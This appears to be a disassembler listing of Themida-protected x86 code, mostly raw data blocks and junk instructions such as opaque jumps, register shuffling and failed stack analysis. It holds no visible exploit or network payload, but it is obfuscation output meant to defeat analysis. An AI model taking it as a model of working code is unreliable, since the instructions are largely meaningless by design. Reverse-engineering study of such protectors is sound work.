		dd 0F000000h, 0E95ED7BFh, 5, 76EB6F32h,	0F5350CEh, 85h
		dd 0E95F5F00h, 7, 6477F0C6h, 0F3A9579h,	1987h, 14E900h
		dd 58D10000h, 3113E4DFh, 37DFE116h, 0DEF79354h,	6D50AA59h
		dd 6E939BCh, 7A000000h,	57009B6Ah, 0E91FB383h, 10h, 0C82CC5DEh
		dd 0FD2F43BDh, 13D27A89h, 80557767h, 12E8h, 991D3400h
		dd 0EC604D40h, 0A7ECD80Fh, 3C607D6Eh, 818E80F3h, 0F6865BDEh
		dd 8E0F5E32h, 11h, 0BE8h, 0F0C33100h, 8988D96Ah, 82CE791Fh
		dd 58F8565Fh, 66C6B70Fh, 0E137DA81h, 0BF0F5E52h, 0E86060CBh
		dd 14h,	8706B9FFh, 0E52AC544h, 0BF83750Ch, 94E19DB5h, 0E3477A0Ch
		dd 0DDB96658h, 0CE96198h, 0E5000000h, 92F890F7h, 0A02DE7B2h
		dd 617EAF37h, 0F78BD38Bh, 3820Fh, 0B70F0000h, 5E9F8h, 92FA0000h
		dd 0E938CA8Ch, 0Fh, 1C3F3210h, 674D512Ch, 8DD0E181h, 666A7D88h
		dd 0E97ECEBAh, 0Ch, 8FA44408h, 5D590BB1h, 0CFF529C5h, 0BE9h
		dd 0C8539E00h, 0CC0E816Ah, 6B2A6B89h, 8BDA8BFCh, 3EF81C6h
		dd 660585A3h, 0BF0FC28Bh, 0A7D6B8C7h, 6CB009D8h, 0F88B6660h
		dd 0FE96061h, 0C2000000h, 352129C9h, 2D4A619Dh,	7C1CAF05h
		dd 5E96FF6h, 27000000h,	6D547945h, 0EE8A6061h, 61C2B70Fh
		dd 79BA6660h, 6160565Bh, 0BF0F615Bh, 3860FDEh, 80000000h
		dd 27B0E1C0h, 8E9h, 0E469EA00h,	4FE21CF5h, 0F5F78B16h
		dd 4FE08166h, 5E860CCh,	8D000000h, 9669DC38h, 830Fh, 60590000h
		dd 5BA4BE66h, 61F08B66h, 0C28B6661h, 0E0C38166h, 0BE834h
		dd 0BA580000h, 0E171D12h, 0B8A28C0Ah, 59A2B53Dh, 6E8h
		dd 4EE29500h, 8B81CC86h, 8E85AF1h, 23000000h, 6F34B768h
		dd 568650BDh, 0DA673FBBh, 0F5F5849h, 68Eh, 0EBC28100h
		dd 0F9257113h, 0F78B6651h, 50FE8A5Fh, 34DBD281h, 66585FBEh
		dd 0BE66F78Bh, 5E95318h, 22000000h, 0D4106CA5h,	8AE9E480h
		dd 860F60E6h, 6, 0A1BAE281h, 66603DD5h,	860FFB8Bh, 0
		dd 81666161h, 60A7C0EEh, 5E8h, 0C464D400h, 59FC01F2h, 4AB9BE66h
		dd 10E961h, 0B6360000h,	0EC647C4Ah, 654D2F93h, 69433764h
		dd 8F0F1383h, 2, 8B66A7B0h, 0C880FF2h, 0F000000h, 680h
		dd 0A0D88100h, 0F6ED2A9h, 810FC6BFh, 0Eh, 9E9h,	46B38900h
		dd 0E5B5F7F0h, 7E81A0Dh, 47000000h, 6C3EF27Bh, 8A603703h
		dd 0E85961E8h, 13h, 33AB2903h, 0B798489Ah, 0E4ADB964h
		dd 0F02847A9h, 0FB436D9h, 38Bh,	0C4D08000h, 0BFD78B58h
		dd 406B5CBCh, 58C78B52h, 0C5DA8166h, 1BB360D8h,	6661EA8Ah
		dd 1EBBD78Bh, 81618C10h, 5FE0B7E0h, 81665727h, 581E07E3h
		dd 0CAC28051h, 0C7B5F55Fh, 860F5157h, 0
; ---------------------------------------------------------------------------
		pop	esi
		pop	esi
		mov	eax, edi
		jmp	loc_5CEECE
; ---------------------------------------------------------------------------
		db 1, 0DAh, 85h
		db 7, 0EFh
; ---------------------------------------------------------------------------


loc_5CEECE:				; CODE XREF: Themida_:005CEEC4j
		movzx	ebx, si
		call	near ptr sub_5CEEE0
		scasd
		pushf
		scasd
		or	eax, 4F03844Ch
		add	edi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_5CEEE0	proc far		; CODE XREF: Themida_:005CEED1p
		mov	bh, 92h
		pop	eax
		jmp	loc_5CEEF4
; ---------------------------------------------------------------------------
		mov	eax, ds:0A0723295h
		adc	byte ptr [eax-4E4789A3h], 7Eh


loc_5CEEF4:				; CODE XREF: sub_5CEEE0+3j
		jbe	loc_5CEF00
		pusha
		mov	ch, 0B7h
		mov	edi, esi
		popa


loc_5CEF00:				; CODE XREF: sub_5CEEE0:loc_5CEEF4j
		jmp	loc_5CEF0F
; ---------------------------------------------------------------------------
		dec	ebx
		cmp	dl, [ebp-2Bh]
		aaa
		retf	41F1h
; ---------------------------------------------------------------------------
		db 22h,	0Ch
; ---------------------------------------------------------------------------


loc_5CEF0F:				; CODE XREF: sub_5CEEE0:loc_5CEF00j
		mov	edi, edx
		xor	edi, 72939238h
		and	ah, 0A3h
		cmc
		sub	dx, 0F64Fh
		jmp	loc_5CEF2B
; ---------------------------------------------------------------------------
		db 78h,	6Bh, 8Bh
		db 0A8h, 66h, 0BBh
; ---------------------------------------------------------------------------


loc_5CEF2B:				; CODE XREF: sub_5CEEE0+40j
		mov	cl, ah
		sbb	cl, 0C8h
		clc
		jmp	loc_5CEF48
; ---------------------------------------------------------------------------
		dw 0AB96h
		dd 0CFCC3466h, 0E2BC208Eh, 9ACB3AFh, 12E86F39h
; ---------------------------------------------------------------------------


loc_5CEF48:				; CODE XREF: sub_5CEEE0+51j
		mov	si, 0E2F3h
		call	near ptr sub_5CEF59
		add	dh, [ebx]
		inc	ebx
		add	eax, 7C795DE5h
sub_5CEEE0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CEF59	proc far		; CODE XREF: sub_5CEEE0+6Cp
		mov	cx, 83EEh
		pop	edx
		movzx	ecx, si
		jmp	loc_5CEF71
; ---------------------------------------------------------------------------
		dw 0D683h
		dd 7BFBE029h, 0EEDD6106h
		db 29h
; ---------------------------------------------------------------------------


loc_5CEF71:				; CODE XREF: sub_5CEF59+8j
		or	esi, 2D7C6255h
		and	bl, 0C1h
		mov	esi, 57D77F36h
		ja	loc_5CEF88
		mov	bx, dx


loc_5CEF88:				; CODE XREF: sub_5CEF59+26j
		jns	loc_5CEF92
		mov	si, 205h


loc_5CEF92:				; CODE XREF: sub_5CEF59:loc_5CEF88j
		xor	edi, 7E437215h
		mov	dx, 0D575h
		jl	loc_5CEFB7
		jmp	loc_5CEFB7
; ---------------------------------------------------------------------------
		db 1Bh
		dd 96415DFDh, 0FBA86607h, 0D4F7D963h
		db 2Dh,	9Fh, 8Ah
; ---------------------------------------------------------------------------


loc_5CEFB7:				; CODE XREF: sub_5CEF59+43j
					; sub_5CEF59+49j
		cmc
		push	edi
		jmp	loc_5CEFCB
; ---------------------------------------------------------------------------
		dw 4DFCh
		dd 0F3BB9F64h, 0C14BCA51h
		db 85h,	0FCh, 78h
; ---------------------------------------------------------------------------


loc_5CEFCB:				; CODE XREF: sub_5CEF59+60j
		pop	edi
		jmp	loc_5CEFDF
; ---------------------------------------------------------------------------
		db 0EDh, 0Ch, 0FDh
		dd 0AA62018h, 2D08B6D4h
; ---------------------------------------------------------------------------
		dec	ebx
		xor	bl, [eax]


loc_5CEFDF:				; CODE XREF: sub_5CEF59+73j
		jge	loc_5CEFEA
		mov	ebx, 2B86F54Dh


loc_5CEFEA:				; CODE XREF: sub_5CEF59:loc_5CEFDFj
		mov	si, ax
		adc	cx, 79EFh
		jb	$+6
		jz	loc_5CF002
		mov	si, 49A2h


loc_5CF002:				; CODE XREF: sub_5CEF59+9Fj
		call	sub_5CF013
		xchg	eax, esi
		dec	ebp
		db	66h
		jbe	short loc_5CF01F
		retf
sub_5CEF59	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 79h,	0A2h, 23h
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		cmc

; =============== S U B	R O U T	I N E =======================================



sub_5CF013	proc near		; CODE XREF: sub_5CEF59:loc_5CF002p

; FUNCTION CHUNK AT 005CF08D SIZE 00000002 BYTES

		pusha
		adc	edx, 71B4F190h
		stc
		popa
		pop	edx
		mov	dh, al


loc_5CF01F:				; CODE XREF: sub_5CEF59+B0j
		jnz	$+6
		and	edx, 73DFAFF8h
		add	edx, 6C973A89h
		mov	di, bx
		and	dh, 0Eh
		mov	ebx, 4215E074h
		call	near ptr loc_5CF046+3
		push	ebp
		adc	al, 6
		jz	short loc_5CF08D


loc_5CF046:				; CODE XREF: sub_5CF013+29p
		or	eax, 10E9C474h
sub_5CF013	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 0BD050000h, 0CC7F33FEh, 9FA65F28h, 74C8ED8Dh, 665FC551h
		dd 0CE8BC88Bh, 0F60F28Bh, 681h,	830F00h, 81000000h, 285B8FE9h
		dd 0B9B2615Fh, 66C88B66h, 665A88BAh, 0BB729DBEh, 3AC57121h
		db 0Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CF013


loc_5CF08D:				; CODE XREF: sub_5CF013+31j
		xchg	eax, [ebx]
; END OF FUNCTION CHUNK	FOR sub_5CF013
; ---------------------------------------------------------------------------
		db 0
		dd 0B70F0000h, 880FD1h,	0B1000000h, 38D0F0Bh, 0F000000h
		dd 10E9C6BFh, 17000000h, 9493237Ch, 0B3280026h,	0D9BA99B7h
		dd 56E215F8h, 0E8C0Fh, 8E80000h, 61000000h, 0A3752C80h
		dd 5EBF2388h, 0C7C18058h, 0F77F580h, 14E8C6BFh,	0DB000000h
		dd 585FBA6Fh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 5E0547BCh
		dd 0E981C68Ah, 51824128h, 13E958B3h, 94000000h,	0BDE99A3h
		dd 536221ACh, 0D3FA9ACh, 7E0FE25Ch, 8B520ADFh, 9E85BD7h
		dd 0A4000000h, 449DD6CFh, 3005241Bh, 0EE9h, 2185E400h
		dd 532D40B9h, 0F07BFDC1h, 59000B12h, 0BE9h, 38F98E00h
		dd 680445E8h, 0DF43AD9Eh, 36D63BB8h, 0ABDF8171h, 663FDE08h
		dd 0E9346BB8h, 9, 0AE6D1A1Fh, 0C33D52A2h, 7AC3809Ch, 3890Fh
		dd 0BF0F0000h, 86CDB8CEh, 0ADB746F8h, 226DB966h, 7C8F8BBh
		dd 5D3816Ch, 0F337D83h,	58Fh, 58B8BF00h, 0A8B6439Ch, 14E9F78Bh
		dd 8D000000h, 5174C8EDh, 86E7D5C5h, 74DD975Bh, 0F0DC1194h
		dd 81E641CDh, 0C33280DAh, 0E960F846h, 11h, 8532062Ah, 0F24A046Fh
		dd 86A94557h, 0F331C625h, 0CAB70FE7h, 6FE78161h, 52478981h
		dd 5EC3B70Fh, 14E9h, 9F82D00h, 2FB9C6DDh, 0D52D213h, 99FB4ED1h
		dd 0B4E1BDC6h, 0C2816630h, 7E99858h, 6C000000h,	56365B37h
		dd 0CE81537h, 1E000000h, 10620C9Ch, 63B7AD8Ah, 5F81D9B5h
		dd 0EF8166F5h, 0FE9824Dh, 0DA000000h, 26216C0h,	0E3BC2FFCh
		dd 4AA6E01Eh, 0CE9FB4Ch, 6C000000h, 709718CAh, 1624960Ch
		dd 6662FD1Eh, 8C0FF28Bh, 4, 5FCF8A51h, 94F38166h, 0F6051FCh
		dd 8Bh,	0BB5F6100h, 39789B0Dh, 0BF93DE80h, 53D82D23h, 5870Fh
		dd 81660000h, 0B38120D6h, 6026B02Ah, 99D68166h,	8E96025h
		dd 4A000000h, 3C1A6CA7h, 0F07244Dh, 8Ch, 0E9616100h, 0Ch
		dd 16C7A964h, 0CAC1B62Fh, 7B6B88DBh, 2860Fh, 1B10000h
		dd 0FFCF38Bh, 38Ch, 52F78000h, 0E5CA8166h, 0FFBEF9DAh
		dd 0E903283Ah, 6, 932C2BDh, 8B663777h, 6084B3CEh, 5E9h
		dd 11BD3600h, 8166664Bh, 61DF5BE2h, 9E9h, 0B0B5C800h, 0A21B1AE5h
		dd 8B66933Dh, 60D68BD0h, 12E9h,	0E459D000h, 0A16BFEA5h
		dd 0B337D431h, 8B697B34h, 0F6B2786h, 48Fh, 0C7BE6600h
		dd 0C1BF6118h, 0E9729D79h, 9, 0D8FAB6A6h, 40ED3571h, 3880F51h
		dd 0F000000h, 8166DABFh, 0E957F3EEh, 7,	6C62104Ah, 80CC7547h
		dd 0B70F1DC3h, 0BE9D3h,	0FD460000h, 0ED62431Ah,	0C39C23B7h
		dd 66F08BADh, 0BA53D88Bh, 7E7BAB1Fh, 0B8E0F59h,	0E9000000h
		dd 6, 7D143A28h, 0BA66A89Eh, 0B8661D6Bh, 8060BAFBh, 0D881F4D3h
		dd 4C69D6D0h, 128D0F61h, 0E9000000h, 0Dh, 0EBA35E1Fh, 0F352109Ah
		dd 1D2E2F5Eh, 0F28166DBh, 880FE21Ch, 0Ah, 4850Fh, 0BB660000h
		dd 0FE83F85h, 52000000h, 0F0FC3D55h, 8E03B5ADh,	5A1909CCh
		dd 840F043Eh, 0Bh, 6E9h, 0E4F3E000h, 591D96A7h,	7D9AD8BBh
		dd 0EE914h, 37B50000h, 73ADCEAAh, 297592CDh, 9C036305h
		dd 0E4F4E681h, 22B4505Fh, 0D2BF0F51h, 8AA1B75Fh, 0F2E781C3h
		dd 665021AEh, 8766F281h, 6601CF80h, 5BE3DE81h, 58B0Fh
		dd 8ABB0000h, 0BA5ABC0Ah, 4F4AE076h, 66BE6660h,	81665319h
		dd 59F3B3CBh, 97BF6661h, 66F38B7Fh, 0F180CB8Bh,	7880FC9h
		dd 60000000h, 0B4C1BF0Fh, 0DE961CBh, 0D3000000h, 9AAC8EA3h
		dd 0FF270AABh, 29B21461h, 16CD80F8h, 10E9h, 72045700h
		dd 9C82F492h, 2E43030h,	0E843A85Eh, 66F38BA6h, 0FB0C6BFh
		dd 0DE8C0B7h, 0AE000000h, 247A13F7h, 83B8483Ah,	0B4F4AC50h
		dd 5259FFB0h, 0FE9h, 0E16BBE00h, 266E4E9Ah, 9F5E638Ah
		dd 2DBFAB35h, 0F381665Eh, 0D18B8CA6h, 0C7816660h, 0CA817864h
		dd 759293C7h, 89D98161h, 0F52E5C9h, 8B0FDAB7h, 5, 0C41ACB8h
		dd 0C1806026h, 0BE88Eh,	87AF0000h, 1DCA3B67h, 7BB53DFh
		dd 0E9615F35h, 8, 93D77233h, 4C614768h,	8E8h, 3C1DE900h
		dd 1324D99Eh, 0C3B70F71h, 0FFB70F5Ah, 56F554B7h, 5BDEBF0Fh
		dd 8B66C38Bh, 10E9F8h, 9B7D0000h, 0EAFFCACDh, 0D4E6BDBDh
		dd 0AC4BC82h, 0CF816A1Ah, 61C1B815h, 816660F8h,	613769D9h
		dd 0BA661EB6h, 81664E76h, 8AAC74E0h, 9E856F8h, 67000000h
		dd 2AC73D6Eh, 61AA80EFh, 0FDE08166h, 0B2585933h, 50B0F996h
		dd 0D4DABA66h, 35B966FCh, 0F6816602h, 5E9FF05h,	58000000h
		dd 37918F84h, 0AEF8166h, 0D2BF0FEEh, 0AE9D78Bh,	1C000000h
		dd 0E3FF9922h, 76303233h, 0F1BB1F5h, 0FB8BC1BFh, 1CC98166h
		dd 0D68166D9h, 8B665062h, 52EE8AC6h, 0FB928CBFh, 0FD8A594Fh
		dd 0F9CBBB66h, 0E960F98Bh, 11h,	0AF88CFF6h, 0B7A84299h
		dd 0E34551F4h, 6A1698F1h, 8B0F4Fh, 61000000h, 5B6EB753h
		dd 0E9F8B70Fh, 0Ch, 426A6B49h, 0CBAF4A1Bh, 33FEBD05h, 14E9h
		dd 0D753BB00h, 53219F2Ah, 83BA4B15h, 37C2E05Ah,	0D1365C61h
		dd 4CBE6641h, 0D0BF0FB5h, 1E8E0Fh, 8C0F0000h, 18h, 13E9h
		dd 0DD900200h, 5AEEDC47h, 47B9EE6Dh, 6914B638h,	7DE3717Eh
		dd 0ECE68166h, 57D780D6h, 9E8h,	0D554A100h, 2647C710h
		dd 8B66B281h, 0B8665AF3h, 0E8F5F44Bh, 0Ah, 0E51BF325h
		dd 674B2013h, 816609BFh, 5F78B3CFh, 12E9h, 0ACE90000h
		dd 0B6CD4F7Fh, 45CF6957h, 99DA2D91h, 81F506C7h,	0BA990FF0h
		dd 0CE877h, 67F90000h, 6E19C58Dh, 555CAEFFh, 0F6006E7h
		dd 82h,	0CE900h, 0EAA0000h, 0EC778867h,	0D8FE40D4h, 5A6140B5h
		dd 2E07B866h, 14E9h, 9EE5AC00h,	57404380h, 8E82BEC3h, 8F8592FDh
		dd 8DFEEF88h, 0B9565356h, 615A312h, 0F57585Eh, 184h, 535FF900h
		dd 5BC4B452h, 0CF8B6659h, 266BDF81h, 0B70F7056h, 2A49B8F3h
		dd 12E97E77h, 93000000h, 0F667DC8Eh, 43CD8A30h,	0ABDA273Fh
		dd 0CB4FEDCAh, 0C8C080E5h, 814DE780h, 6969E1DBh, 11BE663Fh
		dd 0BE86094h, 0FB000000h, 0D5B40441h, 8F7FECF0h, 8E0F4162h
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		ja	loc_5CF74D
		xor	ebx, 5647FE4h


loc_5CF74D:				; CODE XREF: Themida_:005CF741j
		popa
		mov	di, si
		push	ebx
		mov	bh, 0A5h
		pop	edx
		jmp	loc_5CF76D
; ---------------------------------------------------------------------------
		dw 0F868h
		dd 0E478C43Ah, 0E352E0CAh, 99AB9F54h, 0C15FB916h
; ---------------------------------------------------------------------------
		push	ecx


loc_5CF76D:				; CODE XREF: Themida_:005CF755j
		xor	bh, 0D0h
		mov	bx, si
		mov	bx, 0B323h
		and	si, 0A9h
		mov	ebx, edx
		push	eax
		pop	eax
		jmp	loc_5CF78D
; ---------------------------------------------------------------------------
		test	esi, 1EE7DD70h
		fcom	qword ptr [edi]


loc_5CF78D:				; CODE XREF: Themida_:005CF780j
		mov	edi, edx
		jno	$+6
		add	ax, 0FC2Ch
		sbb	eax, 31D2BE43h
		clc
		sub	eax, 11CF1E98h
		call	sub_5CF7B5
; ---------------------------------------------------------------------------
		dec	edx
		retn	0B189h
; ---------------------------------------------------------------------------
		dd 61F9D97Dh
		db 0CEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_5CF7B5	proc near		; CODE XREF: Themida_:005CF7A7p
		jmp	sub_5CF7CD
sub_5CF7B5	endp

; ---------------------------------------------------------------------------
		dw 69CEh
		dd 158A6860h, 6D5E01BCh, 0B0B6ACAAh, 6DC4F5FCh
		db 0A8h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5CF7CD	proc near		; CODE XREF: sub_5CF7B5j
		pop	edi
		sbb	cl, 47h
		mov	eax, 67B3D98h
		sbb	eax, 6CAD0983h
		mov	ebx, esi
		sbb	cx, 0C79Bh
		push	edx
		mov	edi, esi
		pop	esi
		call	sub_5CF7FC
		sub	ah, dl
		sbb	al, 93h
		pop	edi
		sti
		pop	eax
		pop	ecx
		sbb	al, 0E6h
		push	ebp
		jmp	near ptr 518701EBh
sub_5CF7CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CF7FC	proc near		; CODE XREF: sub_5CF7CD+1Ap

; FUNCTION CHUNK AT 005CF836 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF84A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF861 SIZE 00000068 BYTES

		pop	edi
		push	ecx
		pop	edi
		mov	edx, 3785F6A0h
		mov	ecx, ebx
		adc	ebx, 2DF7FFEAh
		add	bx, 0FB61h
		mov	ch, 0F3h
		mov	dl, 23h
		jge	loc_5CF836
		call	near ptr loc_5CF82F+4
		movsd
		mov	al, ds:460FBA3Fh
		adc	al, 0F9h
		xchg	eax, esi
		das
		db	36h
		mov	dl, 3
		fisttp	qword ptr [eax]


loc_5CF82F:				; CODE XREF: sub_5CF7FC+1Fp
		call	far ptr	5E61h:602B001Fh
sub_5CF7FC	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_5CF7FC


loc_5CF836:				; CODE XREF: sub_5CF7FC+19j
		jmp	loc_5CF84A
; END OF FUNCTION CHUNK	FOR sub_5CF7FC
; ---------------------------------------------------------------------------
		db 0A8h
		dd 0E1194E1Fh, 0EE0A0038h, 39253B18h
		db 53h,	2Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5CF7FC


loc_5CF84A:				; CODE XREF: sub_5CF7FC:loc_5CF836j
		jmp	loc_5CF861
; END OF FUNCTION CHUNK	FOR sub_5CF7FC
; ---------------------------------------------------------------------------
		db 6
		dd 3287053h, 1B327493h,	0A047711Ah, 7FD36481h
; ---------------------------------------------------------------------------
		lodsb
; START	OF FUNCTION CHUNK FOR sub_5CF7FC


loc_5CF861:				; CODE XREF: sub_5CF7FC:loc_5CF84Aj
		mov	dl, al
		mov	eax, 283F1AC1h
		mov	ah, dh
		jle	loc_5CF878
		jnz	loc_5CF878
		push	ebx
		pop	ecx


loc_5CF878:				; CODE XREF: sub_5CF7FC+6Ej
					; sub_5CF7FC+74j
		clc
		mov	edx, ebx
		adc	di, 8378h
		mov	ebx, 0CF06C42h
		mov	edx, 7B1F0DD3h
		jns	$+6
		pusha
		push	edx
		pop	esi
		mov	si, ax
		popa
		pusha
		mov	dl, 58h
		and	edi, 720F022Fh
		popa
		and	edi, 2462F557h
		mov	cl, dl
		cld
		push	ebx
		mov	ax, di
		pop	esi
		xor	ebx, 4F2D18C7h
		mov	bh, 2Dh
		call	near ptr sub_5CF8CC ; CODE XREF: sub_5CF7FC+C0j
		loopne	near ptr loc_5CF8B7+4
		test	[edx-5666EB5Ah], dl
		mov	ds:0C9E15873h, al
; END OF FUNCTION CHUNK	FOR sub_5CF7FC
; ---------------------------------------------------------------------------
		db 8Eh,	0FAh, 40h

; =============== S U B	R O U T	I N E =======================================



sub_5CF8CC	proc far		; CODE XREF: sub_5CF7FC:loc_5CF8B7p
		sub	bl, 0E5h
		pop	ecx
		pusha
		sub	edi, 7A34C992h
		jmp	loc_5CF8EF
; ---------------------------------------------------------------------------
		dd 5AA92155h, 4BC8BA6Eh, 4549594Fh, 0DB52FABh
		db 0EAh, 23h, 0E1h
; ---------------------------------------------------------------------------


loc_5CF8EF:				; CODE XREF: sub_5CF8CC+Bj
		popa
		pusha
		jb	loc_5CF8FC
		mov	ecx, 0C4D179Ch


loc_5CF8FC:				; CODE XREF: sub_5CF8CC+25j
		adc	bh, 9Ch
		popa
		jmp	loc_5CF90E
; ---------------------------------------------------------------------------
		push	ebp
		mov	edi, 96202857h
		shr	byte ptr [eax-26h], 1


loc_5CF90E:				; CODE XREF: sub_5CF8CC+34j
		mov	ax, dx
		mov	ch, 0BAh
		mov	ebx, esi
		jns	$+6
		movsx	ecx, ax
		jmp	loc_5CF937
; ---------------------------------------------------------------------------
		db 0Eh
		dd 757FF2A2h, 0DF0B9FF4h, 70348A31h, 28EAF043h
; ---------------------------------------------------------------------------
		pop	ebp
		fisub	word ptr [edi]


loc_5CF937:				; CODE XREF: sub_5CF8CC+52j
		pusha
		adc	bh, 9Ah
		popa
		mov	cx, 0BB9Ah
		mov	si, di
		mov	si, 72ADh
		pusha
		stc
		popa
		jnz	loc_5CF955
		mov	ebx, 74C298FEh


loc_5CF955:				; CODE XREF: sub_5CF8CC+7Ej
		mov	ch, 27h
		sbb	ecx, 595A07B2h
		mov	edi, 7A87B466h
		mov	ebx, 3FEFE434h
		add	cx, 6A60h
		mov	cx, 436Ch
		mov	ax, 0C716h
		mov	bx, 4105h
		jg	loc_5CF981
		mov	cx, di


loc_5CF981:				; CODE XREF: sub_5CF8CC+ACj
		sub	ch, 0E8h
		jl	loc_5CF992
		ja	loc_5CF992
		mov	dl, 2Fh


loc_5CF992:				; CODE XREF: sub_5CF8CC+B8j
					; sub_5CF8CC+BEj
		stc
		push	edx
		jg	$+6
		pop	edx
		stc
		sbb	bl, 0FEh
		mov	esi, ecx
		cmc
		jo	loc_5CF9AA
		mov	al, 0EEh


loc_5CF9AA:				; CODE XREF: sub_5CF8CC+D6j
		pusha
		jmp	loc_5CF9B7
; ---------------------------------------------------------------------------
		dd 972BEBD2h
		db 0ADh, 2 dup(0C2h)
; ---------------------------------------------------------------------------


loc_5CF9B7:				; CODE XREF: sub_5CF8CC+DFj
		pusha
		mov	ax, 3D2Ah
		jmp	loc_5CF9D2
; ---------------------------------------------------------------------------
		xchg	eax, esp
		mov	[ebx+2E54243Ch], esp
		xor	al, 34h
		retf	0BCD0h
; ---------------------------------------------------------------------------
		db 32h,	33h, 73h
		db 0FBh, 0Ch
; ---------------------------------------------------------------------------


loc_5CF9D2:				; CODE XREF: sub_5CF8CC+F0j
		popa
		popa
		jmp	loc_5CF9ED
; ---------------------------------------------------------------------------
		db 1Ah,	0Dh, 89h
		dd 8A8A07EAh, 5A73E43Fh, 5DC50970h, 0B4205619h
; ---------------------------------------------------------------------------
		popa


loc_5CF9ED:				; CODE XREF: sub_5CF8CC+108j
		sbb	di, 0B036h
		mov	ax, 86D3h
		push	edx
		movzx	ebx, dx
		pop	edx
		mov	cl, dh
		pusha
		jmp	loc_5CFA12
; ---------------------------------------------------------------------------
		db 0F6h
		dd 368B392Dh, 9B08E486h, 0A1459FEEh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		cmpsd


loc_5CFA12:				; CODE XREF: sub_5CF8CC+132j
		pusha
		mov	dx, si
		xor	di, 4094h	; CODE XREF: sub_5CF8CC+1BCj
		popa
		popa
		mov	ecx, esi
		clc
		mov	cl, dh
		mov	dx, 697Fh
		or	eax, 6D5E1D93h
		sub	edi, 4DFBD0B6h
		jmp	loc_5CFA3D
; ---------------------------------------------------------------------------
		align 4
		dd 0F7A73BE2h
		db 62h
; ---------------------------------------------------------------------------


loc_5CFA3D:				; CODE XREF: sub_5CF8CC+166j
		jle	loc_5CFA56
		jmp	loc_5CFA56
; ---------------------------------------------------------------------------
		pop	ecx
		xchg	eax, ebx
		push	3Ah
		pop	esi
		shl	byte ptr [eax+9], 1
		push	ebp
		and	bl, [eax-6Ah]
		js	short near ptr byte_5CFACC


loc_5CFA56:				; CODE XREF: sub_5CF8CC:loc_5CFA3Dj
					; sub_5CF8CC+177j
		mov	ecx, 4EBB59Eh
		jmp	loc_5CFA66
; ---------------------------------------------------------------------------
		dd 148F4134h
; ---------------------------------------------------------------------------
		xor	al, bl


loc_5CFA66:				; CODE XREF: sub_5CF8CC+18Fj
		clc
		jmp	loc_5CFA77
; ---------------------------------------------------------------------------
		dd 0CB5C8487h, 245BBD10h
		db 45h,	98h, 0Ah
; ---------------------------------------------------------------------------


loc_5CFA77:				; CODE XREF: sub_5CF8CC+19Bj
		call	loc_5CFA8A
		mov	dword ptr [esi-2B0424C5h], 0DC1F0601h
		inc	esi
		stosd
		jbe	short near ptr loc_5CFA16+2
sub_5CF8CC	endp ; sp-analysis failed



loc_5CFA8A:				; CODE XREF: sub_5CF8CC:loc_5CFA77p
		pusha
		adc	bh, 71h
		mov	cx, ax
		popa
		pop	ebx
		jl	loc_5CFAA9
		jmp	loc_5CFAA9
; ---------------------------------------------------------------------------
		dw 28E4h
		dd 0AEB50687h, 439360FAh
		db 25h
; ---------------------------------------------------------------------------


loc_5CFAA9:				; CODE XREF: Themida_:005CFA93j
					; Themida_:005CFA99j
		mov	edx, eax
		movsx	eax, si
		and	edx, 22C67925h
		call	sub_5CFACD
		cmp	dword ptr [ecx+2Ah], 0FFFFFFA1h
		inc	edx
		loopne	near ptr loc_5CFB19+1
		outsd
		inc	ebx
		loope	near ptr sub_5CFB04+2
		mov	al, ds:96C3AF32h
		add	[eax+36h], esi
; ---------------------------------------------------------------------------
byte_5CFACC	db 8Dh			; CODE XREF: sub_5CF8CC+188j

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5CFACD	proc near		; CODE XREF: Themida_:005CFAB4p
		jmp	sub_5CFADF
sub_5CFACD	endp

; ---------------------------------------------------------------------------
		dw 229h
		dd 0F1B920B1h, 0BAF6A116h
		db 0, 7Ch, 0FAh

; =============== S U B	R O U T	I N E =======================================



sub_5CFADF	proc near		; CODE XREF: sub_5CFACDj
		pop	eax
		push	esi
		movzx	ebx, si
		pop	ecx
		call	sub_5CFAFA
		out	0CCh, eax	; DMA controller, 8237A-5.
					; clear	byte pointer flip-flop.
		xor	[eax+771E5025h], al
		xor	ch, [esi+ebx*8+4BE35760h]
		pop	eax
sub_5CFADF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CFAFA	proc near		; CODE XREF: sub_5CFADF+6p
		call	sub_5CFB04
		mov	al, ds:0A2D97430h
sub_5CFAFA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CFB04	proc near		; CODE XREF: sub_5CFAFAp
					; Themida_:005CFAC2j

; FUNCTION CHUNK AT 005CFBE5 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005CFC21 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005CFC52 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005CFC6F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005CFC81 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005CFC97 SIZE 00000036 BYTES

		movzx	eax, bx
		pop	eax
		pop	ecx
		mov	edx, 30435DD9h
		jmp	loc_5CFB18
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		sbb	al, 96h
		xor	al, 0BCh


loc_5CFB18:				; CODE XREF: sub_5CFB04+Aj
		cld


loc_5CFB19:				; CODE XREF: Themida_:005CFABEj
		jmp	loc_5CFB30
; ---------------------------------------------------------------------------
		dw 2085h
		dd 0C8B8270Dh, 1C646C59h, 0DDD4E703h, 0EF30223h
; ---------------------------------------------------------------------------


